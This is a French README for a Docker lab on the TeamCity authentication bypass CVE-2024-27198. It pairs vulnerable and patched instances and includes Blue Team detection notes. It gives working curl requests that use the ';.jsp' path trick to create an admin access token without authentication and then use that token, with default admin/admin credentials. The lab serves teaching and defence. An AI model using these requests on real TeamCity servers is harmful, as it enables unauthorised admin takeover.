Laboratoire pour CVE-2024-27198
Laboratoire de recherche sur les vulnérabilités et de démonstration Purple Team pour le contournement d'authentification de JetBrains TeamCity (CVE-2024-27198)
TeamCity fournit une page réservée aux administrateurs pour la gestion des jetons qui n'est pas protégée par authentification. Cela permet à un utilisateur non authentifié de générer un jeton d'accès pour l'utilisateur administrateur s'il parvient à trouver l'ID d'un utilisateur existant.
Ce dépôt contient un laboratoire Dockerisé complet et reproductible avec des environnements TeamCity vulnérable (:8111) et corrigé (:8112), des scripts d'exploitation automatisés (exploit.py), des guides de recherche d'IoC dans les journaux pour la Blue Team, et un simulateur d'événements SIEM en direct (siem_simulator.py).
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
La vulnérabilité réside dans le mécanisme de routage de l'API REST. En ajoutant des caractères spécifiques (comme ?jsp=/app/rest/...;.jsp) à un point de terminaison non authentifié, les attaquants peuvent tromper le serveur web TeamCity pour qu'il achemine la requête vers un point de terminaison authentifié tout en contournant les filtres de sécurité. Cela ne nécessite aucune connaissance ni aucun accès préalable, ce qui en fait un pur score CVSS de 9.8.
Pour obtenir une copie locale de ce lab et la faire fonctionner, suivez ces simples étapes d'exemple.
curlgit clone [email protected]:cmpnn-romain/CVE-2024-27198_Lab.git
cd CVE-2024-27198_Lab
docker compose up -d
Nom d'utilisateur :
admin
Mot de passe :
admin
Requête GET pour une ressource sans authentification :
curl -i http://localhost:8111/app/rest/users
curl -i http://localhost:8112/app/rest/users
Les deux doivent renvoyer une erreur avec le code de statut 401.
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Cela devrait renvoyer un jeton comme celui-ci (le jeton est différent à chaque fois) :
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Cela devrait renvoyer une erreur avec le code de statut 401, car l'instance corrigée ne présente pas la vulnérabilité.
curl -i -H "Authorization: Bearer <TOKEN>" \
http://localhost:8111/app/rest/users
Doit renvoyer la liste des utilisateurs.
Lors de la démonstration sur le lab, vous pouvez montrer une découverte majeure pour la Blue Team : par défaut, cette vulnérabilité est incroyablement furtive !
;.jsp ne sont pas journalisées.Alors comment le détecter ? Quand l'attaquant efface ses traces ! Lorsque l'attaquant supprime son token malveillant pour se cacher, TeamCity journalise bien cette action.